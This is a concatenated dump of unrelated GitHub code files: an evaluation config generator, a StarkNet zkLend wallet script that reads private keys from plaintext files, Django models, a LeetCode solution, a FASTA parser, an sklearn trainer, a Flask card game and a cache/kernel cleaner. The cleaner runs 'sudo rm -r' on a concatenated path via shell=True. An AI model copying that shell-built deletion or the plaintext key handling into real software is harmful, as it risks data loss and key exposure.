yaml_dict}\n\n\n@dataclass\nclass Task:\n name: str\n type: str\n test_set: str\n\n def to_yaml_entry(self):\n yaml_dict = dict()\n yaml_dict[\"name\"] = self.name\n yaml_dict[\"type\"] = self.type\n yaml_dict[\"test_set\"] = self.test_set\n\n return {\"task\": yaml_dict}\n\n\n@dataclass\nclass Category:\n name: str\n enabled: bool\n categories: dict\n tasks: list\n entities: str\n\n def to_yaml_entry(self):\n\n task_entries = []\n for task in self.tasks:\n task_entries.append(task.to_yaml_entry())\n\n category_entries = []\n for category in self.categories.values():\n if category.entities:\n category_entries.append(category.to_yaml_entry())\n\n yaml_dict = dict()\n yaml_dict[\"name\"] = self.name\n yaml_dict[\"enabled\"] = self.enabled\n yaml_dict[\"tasks\"] = task_entries\n yaml_dict[\"categories\"] = category_entries\n yaml_dict[\"entities\"] = self.entities\n\n return {\"category\": yaml_dict}\n\n\nclass EvaluationSetConfigGenerator:\n\n def __init__(self):\n pass\n\n @staticmethod\n def default_task_configurations():\n task_configurations = [TaskConfiguration(type=\"cosine_similarity\", enabled=True),\n TaskConfiguration(type=\"euclidean_similarity\", enabled=True),\n TaskConfiguration(type=\"analogy\", enabled=True),\n TaskConfiguration(type=\"cosine_neighborhood\", enabled=True),\n TaskConfiguration(type=\"euclidean_neighborhood\", enabled=True),\n TaskConfiguration(type=\"cosine_outlier_detection\", enabled=True),\n TaskConfiguration(type=\"euclidean_outlier_detection\", enabled=True)]\n return task_configurations\n\n @staticmethod\n def create_neighborhood_tasks(task_name, file_path):\n return [Task(name=f\"{task_name}\", type=\"cosine_neighborhood\", test_set=file_path),\n Task(name=f\"{task_name}\", type=\"euclidean_neighborhood\", test_set=file_path)]\n\n @staticmethod\n def create_similarity_tasks(task_name, file_path):\n return [Task(name=f\"{task_name}\", type=\"cosine_similarity\", test_set=file_path),\n Task(name=f\"{task_name}\", type=\"euclidean_similarity\", test_set=file_path)]\n\n @staticmethod\n def create_outlier_tasks(task_name, file_path):\n return [Task(name=f\"{task_name}\", type=\"cosine_outlier_detection\", test_set=file_path),\n Task(name=f\"{task_name}\", type=\"euclidean_outlier_detection\", test_set=file_path)]\n\n @staticmethod\n def create_analogy_task(task_name, file_path):\n return [Task(name=f\"{task_name}\", type=\"analogy\", test_set=file_path)]\n\n @staticmethod\n def build_category_tree(root_dir):\n root_category = Category(name=\"root\", enabled=True, categories={}, tasks=[], entities=\"\")\n entitiy_files = []\n # dict_hierarchy = dict()\n for root, dirs, files in os.walk(root_dir, topdown=False):\n for file in files:\n if re.match(\"[a-zA-Z]+_([P|Q][0-9]+|root).csv$\", file):\n path = os.path.join(root, file)\n # path = root + '/' + file\n print(path)\n split_path = path.split('/')\n previous_category = root_category\n for i in range(1, len(split_path) - 1):\n # name P123(Q666)\n category_key = split_path[i]\n current_category = previous_category.categories.get(category_key, None)\n if current_category is None:\n current_category = Category(name=category_key, enabled=True, categories={}, tasks=[],\n entities=\"\")\n previous_category.categories[category_key] = current_category\n previous_category = current_category\n\n filename = split_path[-1].split('.csv')[0]\n task_name = filename.split('_')[1]\n key = filename.split('_')[1]\n\n if TaskCreator.OUTLIER_TASK_PREFIX in file:\n tasks = EvaluationSetConfigGenerator.create_outlier_tasks(task_name, path)\n elif TaskCreator.NEIGHBORHOOD_TASK_PREFIX in file:\n tasks = EvaluationSetConfigGenerator.create_neighborhood_tasks(task_name, path)\n elif TaskCreator.ANALOGY_TASK_PREFIX in file:\n tasks = EvaluationSetConfigGenerator.create_analogy_task(task_name, path)\n elif TaskCreator.SIMILARITY_TASK_PREFIX in file:\n tasks = EvaluationSetConfigGenerator.create_similarity_tasks(task_name, path)\n elif TaskCreator.ENTITY_COLLECTOR_TASK_PREFIX in file:\n # hole Kategorie, zu der entity file gehört.\n entitiy_files.append(path)\n continue\n else:\n continue\n\n # Kategorie, zu der das testset hinzugefügt werden soll\n deepest_category = previous_category.categories.get(key, None)\n if deepest_category is None:\n deepest_category = Category(name=key, enabled=True, categories={}, tasks=tasks,\n entities=\"\")\n previous_category.categories[key] = deepest_category\n else:\n if len(tasks) > 0:\n previous_category.categories[key].tasks.extend(tasks)\n\n\n # set entity files\n for entity_file_path in entitiy_files:\n index_of_root = entity_file_path.find(\"root\")\n assert index_of_root >= 0\n split_path = entity_file_path[31:].split('/')\n split_path[-1] = split_path[-1][9:-4]\n category = root_category\n for category_name in split_path:\n category = category.categories[category_name]\n EvaluationSetConfigGenerator._set_entities_file(category, entity_file_path)\n\n return root_category\n\n @staticmethod\n def _set_entities_file(parent, entities_file_path):\n for category1 in parent.categories.values():\n assert category1.name[0] == \"P\", \"category1 should correspond to a property\"\n for category2 in category1.categories.values():\n # assert category2.name[0] == \"Q\" or category2.name[0] == \"M\", \"category2 should correspond to an entity\"\n category2.entities = entities_file_path\n category1.entities = entities_file_path\n\n @staticmethod\n def build_from_file_system(evaluation_data_dir, filename):\n \"\"\"\n\n :param evaluation_data_dir: root directory of directory containing test sets\n :param filename: name of yaml file to save configuration to\n :return: Nothing\n \"\"\"\n task_configurations = EvaluationSetConfigGenerator.default_task_configurations()\n root_node = EvaluationSetConfigGenerator.build_category_tree(evaluation_data_dir)\n\n yaml_dict = dict()\n\n yaml_dict[\"configuration\"] = dict()\n yaml_dict[\"configuration\"][\"task_configurations\"] = \\\n [task_configuration.to_yaml_entry() for task_configuration in task_configurations]\n yaml_dict[\"configuration\"][\"categories\"] = []\n\n root_node.categories['root'].entities = os.path.join(evaluation_data_dir, \"entities_root.csv\")\n\n for category in root_node.categories.values():\n yaml_dict[\"configuration\"][\"categories\"].append(category.to_yaml_entry())\n\n with open(filename, \"w+\") as file:\n yaml.dump(yaml_dict, file, default_flow_style=False)\n\n\ndef setup_arguments(parser):\n parser.add_argument('--evaluation-data-dir', type=str, required=True)\n parser.add_argument('--save-to-config', type=str, required=True)\n\n\ndef main():\n parser = ArgumentParser()\n setup_arguments(parser)\n args = parser.parse_args()\n\n EvaluationSetConfigGenerator.build_from_file_system(args.evaluation_data_dir, args.save_to_config)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mpss2019fn1/embedding-semantic-analysis","sub_path":"evaluation_set_config_generator.py","file_name":"evaluation_set_config_generator.py","file_ext":"py","file_size_in_byte":8723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3660776809","text":"import asyncio\r\nimport random\r\nfrom abi_eth import ABI_ETH,eth_address\r\nfrom zk_lend_abi import zk_market_address,zk_eth_address,ZK_LEND_ABI\r\nfrom loguru import logger\r\nfrom starknet_py.contract import Contract\r\nfrom starknet_py.net.account.account import Account\r\nfrom starknet_py.net.gateway_client import GatewayClient\r\nfrom starknet_py.net.models import StarknetChainId\r\nfrom starknet_py.net.signer.stark_curve_signer import KeyPair\r\n\r\ndelay = (1,10)\r\n\r\namount_zk = random.uniform(0.0002,0.0002)\r\n\r\nscan = 'https://starkscan.co/tx/'\r\n\r\nenable_deposite = False\r\nenable_withdraw = True\r\nasync def deposite(key,address):\r\n try:\r\n account = Account(address=address,\r\n client=GatewayClient(net='mainnet'),\r\n key_pair=KeyPair.from_private_key(int(key[2:], 16)),\r\n chain=StarknetChainId.MAINNET)\r\n global amount_zk\r\n amount = amount_zk\r\n current_nonce = await account.get_nonce()\r\n eth_balance_wei = await account.get_balance()\r\n eth_balance = eth_balance_wei / 10 ** 18 # текущий баланс в эфирах\r\n\r\n if amount > eth_balance: # проверка баланса\r\n logger.info(\r\n f'Случайное количество эфиров ({amount}) больше текущего баланса ({eth_balance}). Пропускаем кошелек.')\r\n return # выход из функции, не выполняя свап\r\n\r\n amount_wei = int(amount * 10 ** 18) # перевод в wei\r\n logger.info(f'Starts to deposit to zkLend {amount} of ETH')\r\n\r\n\r\n approve = Contract(\r\n address=eth_address,\r\n abi=ABI_ETH,\r\n provider=account,\r\n )\r\n deposit = Contract(\r\n address=zk_market_address,\r\n abi=ZK_LEND_ABI,\r\n provider=account,\r\n )\r\n approve_tx = approve.functions[\"approve\"].prepare(\r\n zk_market_address,\r\n amount_wei\r\n )\r\n\r\n deposit_tx = deposit.functions[\"deposit\"].prepare(\r\n eth_address,\r\n amount_wei\r\n )\r\n\r\n calls = [approve_tx, deposit_tx]\r\n tx = await account.execute(calls=calls, auto_estimate=True,cairo_version=1,nonce=current_nonce)\r\n status = await account.client.wait_for_tx(tx.transaction_hash)\r\n if status.status.name in ['SUCCEEDED', 'ACCEPTED_ON_L1', 'ACCEPTED_ON_L2']:\r\n current_nonce += 1\r\n logger.success(\r\n f'{address} - транзакция подтвердилась, аккаунт успешно отправил ETH {scan}{hex(tx.transaction_hash)}')\r\n return 'updated'\r\n else:\r\n logger.error(f'{address} - транзакция неуспешна...')\r\n return 'error in tx'\r\n except Exception as e:\r\n error = str(e)\r\n if 'StarknetErrorCode.INSUFFICIENT_ACCOUNT_BALANCE' in error:\r\n logger.error(f'{address} - Не хватает баланса на деплой аккаунта...')\r\n return 'not balance'\r\n else:\r\n logger.error(f'{address} - ошибка {e}')\r\n return e\r\n\r\nasync def withdraw(key, address):\r\n try:\r\n account = Account(address=address,\r\n client=GatewayClient(net='mainnet'),\r\n key_pair=KeyPair.from_private_key(int(key[2:], 16)),\r\n chain=StarknetChainId.MAINNET)\r\n amount_wei = await account.get_balance(zk_eth_address)\r\n amount = amount_wei / 10 ** 18\r\n logger.info(f'Starts to withdraw from zkLend {amount} of zkETH')\r\n current_nonce = await account.get_nonce()\r\n\r\n withdraw = Contract(\r\n address=zk_market_address,\r\n abi=ZK_LEND_ABI,\r\n provider=account,\r\n )\r\n\r\n withdraw_tx = withdraw.functions[\"withdraw_all\"].prepare(\r\n eth_address\r\n )\r\n\r\n calls = [withdraw_tx]\r\n tx = await account.execute(calls=calls, auto_estimate=True,cairo_version=1,nonce=current_nonce)\r\n status = await account.client.wait_for_tx(tx.transaction_hash)\r\n if status.status.name in ['SUCCEEDED', 'ACCEPTED_ON_L1', 'ACCEPTED_ON_L2']:\r\n current_nonce += 1\r\n logger.success(\r\n f'{address} - транзакция подтвердилась, аккаунт успешно забрал ETH {scan}{hex(tx.transaction_hash)}')\r\n return 'updated'\r\n else:\r\n logger.error(f'{address} - транзакция неуспешна...')\r\n return 'error in tx'\r\n except Exception as e:\r\n error = str(e)\r\n if 'StarknetErrorCode.INSUFFICIENT_ACCOUNT_BALANCE' in error:\r\n logger.error(f'{address} - Не хватает баланса на деплой аккаунта...')\r\n return 'not balance'\r\n else:\r\n logger.error(f'{address} - ошибка {e}')\r\n return e\r\nasync def main():\r\n with open(\"keys.txt\", \"r\") as f:\r\n keys = [row.strip() for row in f]\r\n with open(\"addresses.txt\", \"r\") as f:\r\n addresses = [row.strip() for row in f]\r\n for address, key in zip(addresses, keys):\r\n logger.info('Начинаем срипт')\r\n if enable_deposite:\r\n await deposite(key,address)\r\n t = random.randint(*delay)\r\n logger.info(f'сплю {t} секунд')\r\n await asyncio.sleep(t)\r\n if enable_withdraw:\r\n await withdraw(key,address)\r\n logger.info('Закончили')\r\nasyncio.run(main())","repo_name":"rejep10/new_zk_lend","sub_path":"lending.py","file_name":"lending.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"34669299882","text":"from django.conf import settings\nfrom django.db import models\n\n\nclass Tag(models.Model):\n name = models.CharField(max_length=10)\n\n def __str__(self):\n return self.name\n\n\nclass Post(models.Model):\n tag = models.ManyToManyField(Tag, blank=True, null=True)\n hashtag = models.CharField(max_length=10)\n user = models.CharField(max_length=20)\n title = models.CharField(max_length=50)\n content = models.TextField()\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n updated_at = models.DateTimeField(\n auto_now=True,\n )\n file = models.FileField(blank=True)\n photo = models.ImageField(blank=True, upload_to=\"blog/%Y/%m/%d\")\n\n def __str__(self):\n return self.title\n\n\nclass Comment(models.Model):\n author = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n )\n content = models.CharField(max_length=100)\n created_at = models.DateTimeField(\n auto_now_add=True,\n )\n updated_at = models.DateTimeField(\n auto_now=True,\n )\n post = models.ForeignKey(\n Post,\n on_delete=models.CASCADE,\n )\n\n def __str__(self):\n return self.content\n\n","repo_name":"wtl0442/bwg_real","sub_path":"beautiful/post/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36069415295","text":"#/!usr/bin/python\n# Benjamin Wiens\n# Last Stone Weight (https://leetcode.com/problems/last-stone-weight/submissions/)\n# Leetcode Accepted \n\nstones = [3,7,2]\nimport heapq\nclass Solution:\n def lastStoneWeight(self, stones: List[int]) -> int:\n #the trick is to create a minheap after negating the numbers\n for index, i in enumerate(stones):\n stones[index] = i * -1\n heapq.heapify(stones)\n print(stones)\n while len(stones) > 1:\n #print(stones)\n stone1 = heapq.heappop(stones)\n stone2 = heapq.heappop(stones)\n if stone1 == stone2:\n continue\n else:\n newstone = stone1-stone2\n heapq.heappush(stones, newstone)\n if stones:\n return abs(stones[0]) \n else:\n return 0\n\nprint(Solution().lastStoneWeight(stones))\n#O(nlogn)\n","repo_name":"bwiens/leetcode-python","sub_path":"last_stone_weight.py","file_name":"last_stone_weight.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"62"} +{"seq_id":"7201118249","text":"#!/usr/bin/env python3\nimport subprocess\nimport os.path\nclass Cleancache():\n def __init__(self, path):\n rpath = path + r\"/*\"\n self.searchpath = path.split()\n self.removepath = rpath\n self.checkpath = \"\"\n def get_cachesize(self):\n cmd = [\"du\", \"-sm\",]\n cmd.extend(self.searchpath)\n output = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)\n rawout = output.stdout.decode(\"UTF-8\")\n size = [int(s) for s in rawout.split() if s.isdigit()][0]\n return size\n def check_exists(self):\n return os.path.exists(self.checkpath)\n\n def cleanit(self):\n cmd = \"sudo rm -r \" + self.removepath\n subprocess.run(cmd, shell=True)\n return \"0\"\n\n\nclass Cleanaptcache(Cleancache):\n def __init__(self):\n path = r\"/var/cache/apt\"\n super().__init__(path)\n self.checkpath = path + r\"/package.bin\"\n def main(self):\n if self.check_exists() == False:\n print(\"Do not have to clean APT cache.\\n\")\n return 0\n print(\"APT cache size is {} MiB.\".format(self.get_cachesize()))\n print(\"Are you clean it?\\nYes/no\")\n anser = yesno(input(\">\"))\n if anser == True:\n self.cleanit()\n else:\n return 0\n\nclass Cleanchromiumcache(Cleancache):\n def __init__(self):\n homedir = get_homedir()\n path = homedir + r\"/.cache/chromium/Default/Cache\"\n super().__init__(path)\n self.checkpath = path + r\"/index\"\n def main(self):\n if self.check_exists() == False:\n print(\"Do not have to clean Chromium cache or Chromium is not installed this computer.\\n\")\n return 0\n print(\"Chromium cache is {} MiB.\".format(self.get_cachesize()))\n print(\"Are you clean it?\\nYes/no\")\n anser = yesno(input(\">\"))\n if anser == True:\n self.cleanit()\n else:\n return 0\n\n\nclass Removekernel():\n removed = []\n @classmethod\n def get_oldkernels(self):\n output = subprocess.run(r'dpkg -l | grep -Eo \"linux-image-[0-9]+\\.[0-9]+\\.[0-9]+-[0-9]+[0-9]\" | grep -Eo \"[0-9]+\\.[0-9]+\\.[0-9]+-[0-9]+\" | uniq | sort -nr', shell=True, stdout=subprocess.PIPE)\n rawout = output.stdout.decode(\"UTF-8\")\n installing = rawout.splitlines()\n del installing[0]\n olders = installing\n if not installing:\n print(\"Do not have to remove old kernel.\")\n return 0\n terget = (\"linux-headers-\", \"linux-image-\")\n self.removed = [tgt + version for version in olders for tgt in terget ]\n return self.removed\n @classmethod\n def removethem(self):\n cmd = \"sudo apt-get --purge -y autoremove\"\n command_l = cmd.split()\n command_l.extend(self.removed)\n subprocess.call(command_l)\n \n def main(self):\n print(\"These package will be removed {}\".format(self.get_oldkernels()))\n print(\"Are you remove them?\\nYes/no\")\n anser = yesno(input(\">\"))\n if anser == True:\n self.removethem()\n else:\n return 0\n\n#Others\ndef yesno(choice):\n if choice == \"\":\n return True\n \n choice = choice[0]\n while True:\n if choice.upper() == 'Y':\n return True\n elif choice.upper() == 'N':\n return False\n else:\n return \"Error\"\n\ndef get_homedir():\n output = subprocess.run([\"whoami\"], stdout=subprocess.PIPE)\n rawout = output.stdout.decode(\"UTF-8\")\n homedir = rawout.rstrip()\n return r\"/home/\" + homedir\n\ndef main():\n print(\"---------------------------\")\n print(\"|Welcome to serene-cleaner|\")\n print(\"---------------------------\")\n while True:\n\n print(\"Please choose a task\")\n print(\"1. clean APT cache\")\n print(\"2. clean Chromium cache\")\n print(\"3. remove old kernels\")\n print(\"0. exit\")\n anser = input(\">\")\n if anser == \"\":\n print(\"Please type integer\\n\")\n continue\n choice = 0\n try:\n choice = int(anser[0])\n except ValueError:\n print(\"Please type integer\\n\")\n continue\n\n if choice == 1:\n call = Cleanaptcache()\n call.main()\n elif choice == 2:\n call = Cleanchromiumcache()\n call.main()\n elif choice == 3:\n call = Removekernel()\n call.main()\n elif choice == 0:\n exit(0)\n else:\n print(\"Please choose from the option\\n\")\n continue\n\nif __name__ == \"__main__\":\n main()","repo_name":"naoko1010hh/serene-cleaner","sub_path":"main/serene-cleaner.py","file_name":"serene-cleaner.py","file_ext":"py","file_size_in_byte":4612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18831930432","text":"## for python3\n\nimport re\nimport sys\n\nclass Seq:\n def __init__(self, sId, sDesc, sSeq):\n self.id = sId\n self.desc = ''\n if len(re.split('\\s+', sDesc, 1)) > 1:\n self.desc = re.split('\\s+', sDesc, 1)[1]\n self.seq = sSeq\n def getString(self):\n return '>'+self.id+' '+self.desc+'\\n'+self.seq+'\\n'\n\nclass SeqIO:\n def __init__(self, file):\n self.file = file\n self.end = 1\n sLast = ''\n for sLine in self.file:\n sLine = sLine.strip('\\n')\n if re.search('^>', sLast) and len(sLine) > 0 and sLine[0] != '\\s':\n self.header = sLast.lstrip('>').strip('\\n')\n self.seq = sLine.strip()\n self.end = 0\n break\n sLast = sLine\n def __iter__(self):\n return self\n def __next__(self):\n return self.next()\n def end(self):\n return self.end\n def next(self):\n if self.end:\n raise StopIteration()\n sLine = ''\n while True:\n try:\n sLine = next(self.file).strip('\\n')\n if re.search('^>',sLine):\n seq = Seq(self.header.split()[0], self.header, self.seq)\n self.header = sLine.lstrip('>').strip('\\n')\n self.seq = ''\n return seq\n self.seq = self.seq+sLine.strip()\n except StopIteration:\n seq = Seq(self.header.split()[0], self.header, self.seq)\n self.header = None\n self.seq = None\n self.end = 1\n return seq\n break\n return 0\n def getDict(self):\n dSeqs = {}\n while not self.end:\n seq = self.next()\n dSeqs[seq.id] = seq\n return dSeqs\n def writeIndex(self, sDb=None):\n handle = open(self.file.name)\n fileOut = open(handle.name+'.index','w')\n iIndex = handle.tell()\n sLine = handle.readline()\n if sDb == 'uniprot':\n while sLine:\n if len(sLine) > 1 and sLine[0] == '>':\n fileOut.write(sLine.split()[0].split('|')[2]+'\\t'+str(iIndex)+'\\n')\n iIndex = handle.tell()\n sLine = handle.readline()\n else:\n while sLine:\n if len(sLine) > 1 and sLine[0] == '>':\n fileOut.write(sLine.split()[0][1:]+'\\t'+str(iIndex)+'\\n')\n iIndex = handle.tell()\n sLine = handle.readline()\n return 0\n def readIndex(self):\n self.dId2Index = {}\n for sLine in open(self.file.name+'.index'):\n (sId, sIndex) = sLine.strip().split('\\t',1)\n self.dId2Index[sId] = int(sIndex)\n return 0\n def getSeq(self, sId, iIndex=None):\n if iIndex == None:\n iIndex = self.dId2Index[sId]\n self.file.seek( iIndex )\n sHeader = self.file.readline()[1:].strip()\n sSeq = ''\n for sLine in self.file:\n sLine = sLine.strip()\n if sLine == '' or sLine[0] == '>':\n break\n sSeq += sLine\n return Seq(sHeader.split()[0], sHeader, sSeq)\n\ntry:\n sInFile = sys.argv[1]\nexcept:\n print('Remove gap-only sequences and duplicated IDs.')\n print('OPTIONS:\\npython remove_gaponly.py \\n')\n raise\n\nfileOut = open(sInFile.rsplit('.',1)[0]+'.nogaponly.fasta','w')\nlIds = []\nfor seq in SeqIO(open(sInFile)):\n if len(re.sub('\\W','',seq.seq)) > 0:\n if seq.id not in lIds:\n fileOut.write('>'+seq.id+' '+seq.desc+'\\n'+seq.seq+'\\n')\n lIds.append(seq.id)\n else:\n print('In file {}: {} duplicated!'.format(sInFile, seq.id))\n else:\n print('removing', seq.id)\nfileOut.close()\n","repo_name":"vojtech-zarsky/vojta-tools","sub_path":"remove_gaponly.py","file_name":"remove_gaponly.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74289756357","text":"'''\n(bad) helper program to make it easier to write index information\n\nrun this after running parse.py -q\n'''\nimport os\n\ndef parse_length_file_by_type(FILE_LOC):\n if not (os.path.isfile(FILE_LOC) and os.path.getsize(FILE_LOC) > 0):\n return []\n\n info_len = {}\n with open(FILE_LOC, 'r') as f:\n for x in f.read().strip().split('\\n'):\n if x == '':\n continue\n thisAccID, thisInfoLen = x.split(';')\n if thisInfoLen not in info_len:\n info_len[thisInfoLen] = []\n info_len[thisInfoLen].append(thisAccID)\n return info_len\n\ndef get_info(thisAccID, infoLen):\n ACC_DIR = os.path.join(SRC_DIR, \"output_accounts\", 'account_' + thisAccID + '.txt')\n with open(ACC_DIR, 'r') as f:\n print(thisAccID)\n lst = f.read().split('\\n')\n if (len(lst) > 30):\n lst = lst[:30]\n print('\\n'.join(lst))\n print()\n\n\n\nsrc = input(\"source dir? \")\n# get the different column types\nSRC_DIR = os.path.join(os.getcwd(), src)\ncol_types = parse_length_file_by_type(os.path.join(SRC_DIR, \"lengths.txt\"))\nprint(col_types)\n\nf = open(os.path.join(SRC_DIR, 'indices.txt'), 'w')\n# ask the specific indices for each column type\nfor col in col_types:\n # select a good portfolio to use\n next = False\n length = int(col.split('-')[0])\n i = 0\n while not next:\n print('\\033c', end = \"\")\n print(\"info for\", col)\n get_info(col_types[col][i], length)\n next = input(\"Enter for this? (y/n): \").lower() == 'y'\n i = (i + 1) % len(col_types[col])\n\n # ask information about the indices\n f.write(col + ';')\n for i in range(length):\n colname = input(\"column \" + str(i+1) + \" name: \")\n index = input(colname + \" index: \")\n f.write(colname + ':' + index)\n if i != (length - 1):\n f.write(',')\n f.write('\\n')\n \n \n","repo_name":"danielsialm/PortfolioResearch","sub_path":"getIndices.py","file_name":"getIndices.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15416749399","text":"import numpy as np\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import Ridge\nfrom sklearn.linear_model import LinearRegression, SGDRegressor\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.externals import joblib\nimport argparse\n\nparser = argparse.ArgumentParser(description='Training.')\n\nparser.add_argument('-lin', action='store_true', help='Linear Regression Model')\nparser.add_argument('-lri', action='store_true', help='Linear Ridge Regression Model')\nparser.add_argument('-pri', action='store_true', help='Polynomial Ridge Regression Model')\nparser.add_argument('-pol', action='store_true', help='Polynomial Regression Model')\nparser.add_argument('-sto', action='store_true', help='Stochastic Gradient Descent Model')\n\nargs = parser.parse_args()\n\n''' *********************************************** Training Part *********************************************** '''\ntraining_x = np.loadtxt('training_x.txt')\ntraining_y = np.loadtxt('training_y.txt')\n\nif args.lin is True:\n print(\"Linear Regression Model\")\n model = LinearRegression()\n\nelif args.lri is True:\n print(\"Linear Ridge Regression Model\")\n full_pipe_line = Pipeline([\n (\"stf_scale\", StandardScaler())\n ])\n\n training_x = full_pipe_line.fit_transform(training_x)\n model = Ridge()\n\nelif args.pri is True:\n print(\"Polynomial Ridge Regression Model\")\n full_pipe_line = Pipeline([\n (\"polynomial\", PolynomialFeatures(degree=2, include_bias=False)),\n (\"stf_scale\", StandardScaler())\n ])\n\n training_x = full_pipe_line.fit_transform(training_x)\n model = Ridge()\n\nelif args.pol is True:\n print(\"Polynomial Regression Model\")\n full_pipe_line = Pipeline([\n (\"polynomial\", PolynomialFeatures(degree=2, include_bias=False)),\n (\"stf_scale\", StandardScaler())\n ])\n\n training_x = full_pipe_line.fit_transform(training_x)\n model = LinearRegression()\nelif args.sto is True:\n print(\"Stochastic Gradient Descent Model\")\n full_pipe_line = Pipeline([\n (\"stf_scale\", StandardScaler())\n ])\n training_x = full_pipe_line.fit_transform(training_x)\n model = SGDRegressor(penalty=\"l2\")\nelse:\n print(\"Please enter the desired regression model\")\n quit()\n\nmodel.fit(training_x, training_y)\n\ny_hat = model.predict(training_x)\n\n# Save into file\njoblib.dump(model, \"trained_reg.pkl\")\n\n# evaluate score by cross validation\nscores = cross_val_score(model, training_x, training_y, scoring=\"neg_mean_squared_error\", cv=10)\nrmse = np.sqrt(-scores)\n\nprint(\"Training result\")\nprint(\"RMSE:\", rmse)\nprint(\"RMSE (mean): %0.2f (+/- %0.2f)\" % (rmse.mean(), rmse.std() * 2))\nprint(\"R^2: %0.2f\" % (model.score(training_x, training_y)))\n\n\n''' *********************************************** Testing Part *********************************************** '''\ntesting_x = np.loadtxt('test_x.txt')\ntesting_y = np.loadtxt('test_y.txt')\n\nif args.lin is False:\n testing_x = full_pipe_line.fit_transform(testing_x)\n\ny_hat = model.predict(testing_x)\n\nrmse = np.sqrt(mean_squared_error(testing_y, y_hat))\nprint(\"\")\nprint(\"Testing result\")\nprint(\"RMSE: %0.2f\" % (rmse.mean()))\nprint(\"R^2: %0.2f\" % (model.score(testing_x, testing_y)))\nprint(\"\")\n","repo_name":"cheetahfelidae/CS5014-P1","sub_path":"model_trainer.py","file_name":"model_trainer.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31446314209","text":"from flask import Flask, render_template, request, jsonify\n\n\nfrom game_src.engine import Sequense_game_1_player # Import your game logic class\n\n\napp = Flask(__name__, static_url_path='/static', static_folder='static')\n\n# Global game instance; this is just a simplistic example.\n# Ideally, you'd handle game states more efficiently, e.g., with sessions or a database.\ngame = Sequense_game_1_player()\n\nCARD_MAP = {\n \"♣2\": \"2_of_clubs\", \"♦2\": \"2_of_diamonds\", \"♥2\": \"2_of_hearts\", \"♠2\": \"2_of_spades\",\n \"♣3\": \"3_of_clubs\", \"♦3\": \"3_of_diamonds\", \"♥3\": \"3_of_hearts\", \"♠3\": \"3_of_spades\",\n \"♣4\": \"4_of_clubs\", \"♦4\": \"4_of_diamonds\", \"♥4\": \"4_of_hearts\", \"♠4\": \"4_of_spades\",\n \"♣5\": \"5_of_clubs\", \"♦5\": \"5_of_diamonds\", \"♥5\": \"5_of_hearts\", \"♠5\": \"5_of_spades\",\n \"♣6\": \"6_of_clubs\", \"♦6\": \"6_of_diamonds\", \"♥6\": \"6_of_hearts\", \"♠6\": \"6_of_spades\",\n \"♣7\": \"7_of_clubs\", \"♦7\": \"7_of_diamonds\", \"♥7\": \"7_of_hearts\", \"♠7\": \"7_of_spades\",\n \"♣8\": \"8_of_clubs\", \"♦8\": \"8_of_diamonds\", \"♥8\": \"8_of_hearts\", \"♠8\": \"8_of_spades\",\n \"♣9\": \"9_of_clubs\", \"♦9\": \"9_of_diamonds\", \"♥9\": \"9_of_hearts\", \"♠9\": \"9_of_spades\",\n \"♣10\": \"10_of_clubs\", \"♦10\": \"10_of_diamonds\", \"♥10\": \"10_of_hearts\", \"♠10\": \"10_of_spades\",\n \"♣J\": \"jack_of_clubs\", \"♦J\": \"jack_of_diamonds\", \"♥J\": \"jack_of_hearts\", \"♠J\": \"jack_of_spades\",\n \"♣Q\": \"queen_of_clubs\", \"♦Q\": \"queen_of_diamonds\", \"♥Q\": \"queen_of_hearts\", \"♠Q\": \"queen_of_spades\",\n \"♣K\": \"king_of_clubs\", \"♦K\": \"king_of_diamonds\", \"♥K\": \"king_of_hearts\", \"♠K\": \"king_of_spades\",\n \"♣A\": \"ace_of_clubs\", \"♦A\": \"ace_of_diamonds\", \"♥A\": \"ace_of_hearts\", \"♠A\": \"ace_of_spades\",\n \"🃏B\": \"black_joker\", \"🃏R\": \"red_joker\"\n}\n\n\n@app.route('/')\ndef index():\n \"\"\"\n Home page for the game.\n \"\"\"\n board_cards_keys = game.board.board_dic.keys()\n dot_list = []\n for elem in game.board.board_dic:\n if game.board.board_dic[elem] == None:\n dot_list.append(str(0))\n else:\n dot_list.append(str(game.board.board_dic[elem]))\n\n zipped_cards_and_dots = list(zip(board_cards_keys, dot_list))\n winner = str(game.check_if_won())\n\n return render_template('game.html', player_cards=game.player1.cards, board_str=game.board.__str__(), zipped_cards_and_dots=zipped_cards_and_dots, CARD_MAP=CARD_MAP, winner=winner)\n\n\n@app.route('/play_card', methods=['POST'])\ndef play_card():\n card = request.json['card']\n player = 1 # Assuming player 1 for singleplayer\n success = game.play_then_bot_play(player, card)\n \n winner = game.check_if_won()\n\n dot_list = []\n for elem in game.board.board_dic:\n if game.board.board_dic[elem] == None:\n dot_list.append(str(0))\n else:\n dot_list.append(str(game.board.board_dic[elem]))\n \n if success:\n # Return new state or any other relevant data\n updated_cards = game.player1.cards\n return jsonify({'success': True, 'board_str': game.board.__str__(), 'player_cards': updated_cards, 'dot_list': dot_list})\n else:\n return jsonify({'success': False, 'message': 'Cannot play card.'})\n 